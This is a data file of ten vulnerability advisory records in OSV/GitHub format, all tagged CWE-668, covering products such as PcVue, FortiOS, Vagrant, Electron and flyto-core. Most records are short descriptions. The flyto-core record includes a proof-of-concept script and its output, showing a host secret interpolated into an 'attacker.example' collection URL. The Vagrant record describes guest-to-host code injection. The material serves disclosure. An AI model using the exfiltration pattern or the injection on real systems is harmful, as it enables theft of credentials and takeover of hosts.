CWE-668

{
  "affected": [],
  "aliases": [
    "CVE-2020-26868"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-668",
      "CWE-767"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-12T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "A Denial Of Service vulnerability exists in PcVue from version 8.10 onward, due to the ability for a non-authorized user to modify information used to validate messages sent by legitimate web clients.",
  "id": "GHSA-hmv8-293h-5vrj",
  "modified": "2026-07-09T18:31:21Z",
  "published": "2022-05-24T17:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26868"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.kaspersky.com/advisories/klcert-advisories/2020/10/09/klcert-20-016-denial-of-service-in-arc-informatique-pcvue"
    },
    {
      "type": "WEB",
      "url": "https://us-cert.cisa.gov/ics/advisories/icsa-20-308-03"
    },
    {
      "type": "WEB",
      "url": "https://www.pcvuesolutions.com/index.php/support-a-services/resources/security-alerts-95138"
    },
    {
      "type": "WEB",
      "url": "https://www.pcvuesolutions.com/security"
    },
    {
      "type": "WEB",
      "url": "https://www.pcvuesolutions.com/support/index.php/en/security-bulletin/1076-security-bulletin-2020-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-39866"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-668"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-07T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper access control vulnerability in RegisteredEventMediator.kt SmartThings prior to version 1.7.89.0 allows attackers to access sensitive information via implicit broadcast.",
  "id": "GHSA-hp3q-rgpx-37wq",
  "modified": "2022-10-12T12:00:24Z",
  "published": "2022-10-07T18:15:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39866"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2022\u0026month=10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-3709"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-668"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-01T03:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Function check_attachment_for_errors() in file data/general-hooks/ubuntu.py could be tricked into exposing private data via a constructed crash file. This issue affects: apport 2.14.1 versions prior to 2.14.1-0ubuntu3.29+esm8; 2.20.1 versions prior to 2.20.1-0ubuntu2.30+esm2; 2.20.9 versions prior to 2.20.9-0ubuntu7.26; 2.20.11 versions prior to 2.20.11-0ubuntu27.20; 2.20.11 versions prior to 2.20.11-0ubuntu65.3;",
  "id": "GHSA-hq94-g33h-jj2x",
  "modified": "2022-10-27T19:00:39Z",
  "published": "2022-05-24T19:16:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3709"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1934308"
    },
    {
      "type": "WEB",
      "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3709"
    },
    {
      "type": "WEB",
      "url": "https://ubuntu.com/security/notices/USN-5077-1"
    },
    {
      "type": "WEB",
      "url": "https://ubuntu.com/security/notices/USN-5077-2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-41032"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-668"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-04T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An improper access control vulnerability [CWE-284] in FortiOS versions 6.4.8 and prior and 7.0.3 and prior may allow an authenticated attacker with a restricted user profile to gather sensitive information and modify the SSL-VPN tunnel status of other VDOMs using specific CLI commands.",
  "id": "GHSA-hqf6-vvj2-cj4w",
  "modified": "2022-05-14T00:03:36Z",
  "published": "2022-05-05T00:00:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41032"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/psirt/FG-IR-21-147"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "vagrant"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.10"
            },
            {
              "fixed": "2.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-34075"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-276",
      "CWE-668",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-03T12:59:35Z",
    "nvd_published_at": "2025-07-02T20:15:29Z",
    "severity": "MODERATE"
  },
  "details": "An authenticated virtual machine escape vulnerability exists in HashiCorp Vagrant versions 2.4.6 and below when using the default synced folder configuration. By design, Vagrant automatically mounts the host system\u2019s project directory into the guest VM under /vagrant (or C:\\vagrant on Windows). This includes the Vagrantfile configuration file, which is a Ruby script evaluated by the host every time a vagrant command is executed in the project directory. If a low-privileged attacker obtains shell access to the guest VM, they can append arbitrary Ruby code to the mounted Vagrantfile. When a user on the host later runs any vagrant command, the injected code is executed on the host with that user\u2019s privileges.\n\nWhile this shared-folder behavior is well-documented by Vagrant, the security implications of Vagrantfile execution from guest-writable storage are not explicitly addressed. This effectively enables guest-to-host code execution in multi-tenant or adversarial VM scenarios.",
  "id": "GHSA-hqp6-mjw3-f586",
  "modified": "2025-07-05T01:47:56Z",
  "published": "2025-07-02T21:32:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34075"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hashicorp/vagrant/issues/13688"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hashicorp/vagrant/commit/abe87b2fdc124ef426c016d44d2f6f4792f0cbe3"
    },
    {
      "type": "WEB",
      "url": "https://developer.hashicorp.com/vagrant"
    },
    {
      "type": "WEB",
      "url": "https://developer.hashicorp.com/vagrant/docs/synced-folders/basic_usage"
    },
    {
      "type": "WEB",
      "url": "https://developer.hashicorp.com/vagrant/docs/vagrantfile"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-hqp6-mjw3-f586"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hashicorp/vagrant"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/vagrant/CVE-2025-34075.yml"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/local/vagrant_synced_folder_vagrantfile_breakout.rb"
    },
    {
      "type": "WEB",
      "url": "https://vulncheck.com/advisories/hashicorp-vagrant-synced-folder-vagrantfile-breakout"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "HashiCorp Vagrant has code injection vulnerability through default synced folders"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "flyto-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67427"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522",
      "CWE-668",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T14:47:01Z",
    "nvd_published_at": "2026-07-29T19:16:51Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe capability policy denies the `env.get` and `env.load_dotenv` modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine\u0027s variable resolver expands `${env.VAR}` for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module.\n\n## Affected code\n\n`src/core/engine/variable_resolver.py`:\n\n```python\nif var_type == \u0027env\u0027:\n    if len(parts) \u003c 2:\n        return None\n    env_var = parts[1]\n    return os.getenv(env_var)      # any env var, no allowlist, not covered by module policy\n```\n\nThe module policy (`enforce_module_policy` in `module_policy.py`) gates module execution at `BaseModule.run`, but `${...}` interpolation happens earlier in the engine and is not subject to it. So denylisting `env.get` does not actually stop a workflow from reading host env secrets.\n\n## Reproduction\n\nSave as `envbypass_poc.py`, run with `PYTHONPATH=src/src python envbypass_poc.py`.\n\n```python\n#!/usr/bin/env python3\nimport os\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"AKIA-operator-super-secret-DO-NOT-LEAK\"\n\nfrom core.module_policy import module_filter\nfrom core.engine.variable_resolver import VariableResolver\n\nprint(\"env.get allowed?       \", module_filter.is_allowed(\"env.get\"))\nr = VariableResolver(params={}, context={})\nprint(\"resolve ${env.SECRET}: \", r.resolve(\"${env.AWS_SECRET_ACCESS_KEY}\"))\nprint(\"into an attacker URL:  \", r.resolve(\"https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}\"))\n```\n\nOutput:\n\n```\nenv.get allowed?        False\nresolve ${env.SECRET}:  AKIA-operator-super-secret-DO-NOT-LEAK\ninto an attacker URL:   https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK\n```\n\n`env.get` is denied, yet `${env.AWS_SECRET_ACCESS_KEY}` reads the same secret and drops it straight into a URL. Confirmed through the running API too: a `POST /v1/workflow/run` step with `text: \"${env.AWS_SECRET_ACCESS_KEY}\"` resolved to the secret and returned it in the workflow result (in plaintext \u2014 the trace redaction did not mask it).\n\n## Reachability (why this is not operator self-service)\n\nThe vendor denies `env.get` by default and states the reason inline \u2014 reading arbitrary host env vars is a secret-exfil risk. That default only makes sense against an untrusted workflow/agent, which is precisely the caller here: workflow parameters and step values come from the LLM through the MCP tool surface or from a hosted-API client, not from the trusted operator. `${env.*}` gives that same denied capability with no gate, so it is a direct bypass of a control the vendor deliberately turned on \u2014 not intended behavior.\n\n## Impact\n\nRead any host environment variable \u2014 cloud keys, tokens, DSNs \u2014 that the operator relied on the `env.get` denylist to protect, and exfiltrate it by interpolating it into an outbound request handled by an allowed module (the SSRF guard allows the attacker\u0027s public host). Reachable via the workflow API and the MCP agent surface.\n\n## Suggested fix\n\nApply the same policy to `${env.*}` as to the `env.get` module: gate it behind an explicit allowlist of permitted variable names and deny by default when `env.get` is denied, so engine interpolation and module execution enforce one env-access policy. Alternatively drop `${env.*}` and require env values to be passed in explicitly at workflow start.",
  "id": "GHSA-hr7p-wg7r-hg9m",
  "modified": "2026-07-30T14:47:01Z",
  "published": "2026-07-30T14:47:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-hr7p-wg7r-hg9m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67427"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flytohub/flyto-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "electron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "electron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "electron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-26272"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-01-28T19:11:05Z",
    "nvd_published_at": "2021-01-28T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nIPC messages sent from the main process to a subframe in the renderer process, through `webContents.sendToFrame`, `event.reply` or when using the `remote` module, can in some cases be delivered to the wrong frame.\n\nIf your app does ANY of the following, then it is impacted by this issue:\n- Uses `remote`\n- Calls `webContents.sendToFrame`\n- Calls `event.reply` in an IPC message handler\n\n### Patches\nThis has been fixed in the following versions:\n\n- 9.4.0\n- 10.2.0\n- 11.1.0\n- 12.0.0-beta.9\n\n### Workarounds\nThere are no workarounds for this issue.\n\n### For more information\nIf you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org).",
  "id": "GHSA-hvf8-h2qh-37m9",
  "modified": "2025-05-27T15:20:19Z",
  "published": "2021-01-28T19:11:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/electron/electron/security/advisories/GHSA-hvf8-h2qh-37m9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26272"
    },
    {
      "type": "WEB",
      "url": "https://github.com/electron/electron/pull/26875"
    },
    {
      "type": "WEB",
      "url": "https://github.com/electron/electron/commit/07a1c2a3e5845901f7e2eda9506695be58edc73c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/electron/electron/commit/0bbd268eb4caf35604443df5ff196980dd49e208"
    },
    {
      "type": "WEB",
      "url": "https://github.com/electron/electron/commit/36c695ce2a7e22c07fe1e30c61c00d20371daee2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/electron/electron/commit/429400040ecb16a21d19936658579e65a797e4cc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/electron/electron/commit/5c8e7e8b7f485ceafa8b271086d7b87e1de9dedd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/electron/electron/releases/tag/v9.4.0"
    },
    {
      "type": "WEB",
      "url": "https://www.electronjs.org/releases/stable?version=9#9.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "IPC messages delivered to the wrong frame in Electron"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-24906"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-668"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-14T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Microsoft PostScript and PCL6 Class Printer Driver Information Disclosure Vulnerability",
  "id": "GHSA-hvgw-r2wx-xwh4",
  "modified": "2023-03-14T18:30:21Z",
  "published": "2023-03-14T18:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24906"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24906"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-7846"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-668"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-05-22T20:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "A CWE-501: Trust Boundary Violation vulnerability on connection to the Controller exists in all versions of the Modicon M580, Modicon M340, Modicon Quantum and Modicon Premium which could cause unauthorized access by conducting a brute force attack on Modbus protocol to the controller.",
  "id": "GHSA-hvj5-x43r-qg3f",
  "modified": "2022-05-24T16:46:13Z",
  "published": "2022-05-24T16:46:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7846"
    },
    {
      "type": "WEB",
      "url": "https://www.schneider-electric.com/en/download/document/SEVD-2019-134-11"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0735"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-27424"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-668"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-23T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "GE UR firmware versions prior to version 8.1x shares MODBUS memory map as part of the communications guide. GE was made aware a \u201cLast-key pressed\u201d MODBUS register can be used to gain unauthorized information.",
  "id": "GHSA-hvjm-qmp9-pw7f",
  "modified": "2022-04-02T00:00:32Z",
  "published": "2022-03-24T00:00:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27424"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-21-075-02"
    },
    {
      "type": "WEB",
      "url": "https://www.gegridsolutions.com/Passport/Login.aspx"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}